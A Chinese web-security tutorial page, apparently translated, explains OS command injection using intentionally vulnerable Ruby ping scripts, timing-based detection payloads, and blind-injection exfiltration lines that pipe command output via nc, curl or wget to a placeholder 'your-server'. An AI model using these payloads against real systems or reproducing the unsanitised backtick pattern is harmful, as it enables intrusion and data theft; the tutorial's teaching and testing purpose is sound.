• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >安全教程 > Web安全之浅析命令注入

Web安全之浅析命令注入

作者:匿名 字体:[增加 减小] 来源:互联网

匿名向大家分享了Web安全之浅析命令注入,其中包含web安全培训,web安全工程师,白帽子讲web安全,web安全,web安全色等知识点,遇到此问题的同学们可以参考下

命令注入是指攻击者可以能够控制操作系统上执行的命令的一类漏洞。 这篇文章将会讨论它的影响,包括如何测试它 ,绕过补丁和注意事项。

在命令注入之前,先要深入了解 的是:命令注入与远程代码执行(RCE)不一样。它们的区别是 ,通过RCE,执行的是代码 ,而在命令注入的时 ,执行的是一个(OS)命令。这可能只是一个微小的影响差异,但关键的区别在于如何找到并利用它们。

设置

我们首先编写两个简单的Ruby脚本,通过本地运行脚本来学习如何发现并利用命令注入漏洞 。我使用Ruby 2.3.3p222。下面是ping.rb。

puts `ping -c 4 #{ARGV[0]}`

该脚本将会,防止异意ping作为参数传递给脚本的服务器。 然后它将在屏幕上返回命令输出。示例输出如下。

$ ruby ping.rb '8.8.8.8'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms

64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms

64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms

64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms

如上所示,它执行ping -c 4 8.8.8.8并在屏幕上显示输出。这是另一个脚本:server-online.rb。

puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'

该脚本将根据ICMP响应(ping)来确定服务器是否处于联机状态。如果它响应ping请求,将在屏幕上显示是。如果没有,将显示否。命令的输出不会返回给用户。示例输出如下。

$ ruby server-on.rb '8.8.8.8'

yes

$ ruby server-on.rb '8.8.8.7'

No

测试

检测一级命令注入漏洞的最佳方法之一是尝试执行sleep命令,并确定执行时间是否增加。首先,我们为ping.rb脚本建立时间基线 :

$ time ruby ping.rb '8.8.8.8'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

0.09s user 0.04s system 4% cpu 3.176 total

注意,执行脚本大约需要3秒。我们通过注入sleep命令观察脚本是否容易受到命令注入攻击。

$ time ruby ping.rb '8.8.8.8 && sleep 5'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

0.10s user 0.04s system 1% cpu 8.182 total

该脚本现在将执行命令ping -c 4 8.8.8.8 && sleep 5。再次注意执行时间:它从?3秒跳到?8秒,这增加了5秒。互联网上仍然可能会出现意想不到的延迟,所以重复注入和设定较长的时间是很重要的,以确保它不是假阳性。

我们来观察 server-online.rb脚本是否也是易受攻击的。

$ time ruby server-online.rb '8.8.8.8'

yes

0.10s user 0.04s system 4% cpu 3.174 total

$ time ruby server-online.rb '8.8.8.8 && sleep 5'

yes

0.10s user 0.04s system 1% cpu 8.203 total

同样,基线显示执行一个正常的请求大约需要3秒。在命令中添加&sleep5会增加到8秒的时间。

根据执行的命令,可以注入不同的sleep命令。以下是一些可以尝试的有效payload(它们都是有效的):

time ruby ping.rb '8.8.8.8`sleep 5`'

当一个命令行被解析时,反引号之间的所有内容都将首先执行。执行echo `ls`将首先执行ls并捕获其输出。然后会将输出传递给echo,该输出将在屏幕上显示ls的输出,这被称为命令替换。由于反引号间的命令优先执行, ,所以之后的命令无关紧要。下面是一个带有注入有效payload及其结果的命令表。注入的有效payload被标记为绿色。

\

time ruby ping.rb '8.8.8.8$(sleep 5)'

这是命令替换的另一种方式 。当反引号被过滤或编码时,这可能很有效。当使用命令替换来查找命令注入时,请确保对两种方式 进行测试,来替换掉有效payload (见上表中的最后一个例子)。

time ruby ping.rb '8.8.8.8; sleep 5'

命令按照顺序(从左到右)执行,并且可以用分号分隔。当序列中的一个命令执行失败时,不会停止执行其他命令。下面是一个带有注入有效payload及其结果的命令表。 注入的有效payload用绿色标记。

\

time ruby ping.rb '8.8.8.8 | sleep 5'

命令输出可以按顺序将命令通过管道输出到其他命令。当执行cat/etc/passwd grep root 时,它将捕获cat/etc/passw命令的输出并将其传递给grep root,然后将显示与root 匹配的行。当第一个命令失败时,它仍然执行第二个命令。下面是一个带有注入有效payload及其结果的命令表。注入的有效payload用绿色标记。

\

利用

利用漏洞时需要判断是通常的注入还是盲注 。两者之间的区别在于盲注 不会返回命令的输出。通常命令注入会将 返回响应中 执行命令(s)的输出。sleep指令通常是一种很好的概念证明 。但是如果需要更多的信息 ,可以执行id、hostname,或whoami,并使用输出查看结果。服务器的hostname有助于确定有多少服务器受到影响,并帮助供应商更快地获得反馈。

重点:大多数公司都不喜欢你窥探他们的系统。利用该漏洞进行其他任务之前,请向该公司申请许可。在几乎所有的情况下,执行去掉无害的命令,如sleep、id、hostname,或whoami,就足以证明该公司存在该漏洞。

利用命令注入

这通常很简单:任何注入的命令的输出都将返回给用户:

$ ruby ping.rb '8.8.8.8 && whoami'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms

64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms

64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms

64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms

jobert

红色部分显示了ping命令的输出。绿色文本是whoami命令的输出。这就是你的POC。再次强调,要坚持使用无害的命令。

利用命令盲注

使用盲注命令,输出不会返回给用户,所以应该找到其他方法来提取输出。最直接的技术是将输出回传到您的服务器。为了模拟这一点,请在服务器上运行nc -l -n -vv -p 80 -k,并允许防火墙中端口80上的入站连接。

设置好监听器后,使用nc,curl,wget,telnet或任何其他向互联网发送数据的工具,将输出发送到您的服务器:

$ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80'

yes

然后观察一个连接到服务器的连接,该连接显示hostname命令的输出:

$ nc -l -n -vv -p 80 -k

Listening on [0.0.0.0] (family 0, port 81)

Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225)

hacker.local

在上面的示例中,nc用于将命令的输出发送到您的服务器。然而,nc可能会被删除或无法执行。为了防止掉进坑中 ,有几个简单的有效payload来确定一个命令是否存在。如果命令中的任何一个命令增加了5秒的时间,就知道这个命令是存在的。

curl -h && sleep 5

wget -h && sleep 5

ssh -V && sleep 5

telnet && sleep 5

确定命令时,可以使用上面中的任意一个命令将命令的输出发送到服务器,如下所示:

whoami | curl http://your-server -d @-

wget http://your-server/$(whoami)

export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed)

即使server-online.rb脚本不输出hostname命令的结果,也可以将该输出发送到远程服务器,并由攻击者获取。有时候 ,出站TCP和UDP无法使用。在这种情况下我们只需要一点处理就可以继续 。

为了拿到结果 ,我们必须基于可以更改的内容来猜测输出。在这种情况下,可以使用sleep命令来增加执行时间。这可以用于检测是否执行 。这里的技巧是将命令的结果传递给sleep命令。这里有一个例子:sleep $(hostname | cut -c 1 | tr a 5)。 下面来分析一下。

它正在执行hostname命令。 我们假设它返回hacker.local。

它会把该输出传递给cut -c 1.这将取代hacker.local的第一个字符,这是字符h。

它将其传递给tr a 5,它将在切割命令(h)的输出中用一个5代替字符a。

然后将tr命令的输出传递给sleep命令,导致执行sleep h。 这将立即出现错误,因为sleep只能作为第一个参数。

您可能想查找下面的文章:

  • Web安全之浅析命令注入

相关文章

  • 迅雷提权教程
  • 不一样的挂马方式 TXT挂马
  • 公开个Nday(图)
  • linux下mysql 5.x得到root密码后的另外一种利用方式
  • 木马连接原理
  • IPSEC野蛮模式的详细介绍(图文教程)
  • 拿下DVBBS php官网详细过程(图)
  • 黑客必懂的木马连接原理
  • 分析国外黑客发现的海康威视远程系统XXE漏洞
  • 弹窗口的流氓软件核心代码

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • 最佳的75个黑客安全工具
    • SYN Flood攻击原理与防护
    • 躲避黑客的七大高招教程
    • 3389远程终端的SHIFT后门自动扫描[自动关闭错误连接]
    • 利用php来嗅探劫持服务器数据
    • 黑客经常使用工具集合
    • 菜鸟也学IP的侦察和隐藏
    • 菜鸟是如何变成ASP木马高手的!
    • 利用php+socket5代理进行内网渗透测试
    • 社会工程学入侵三步走

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有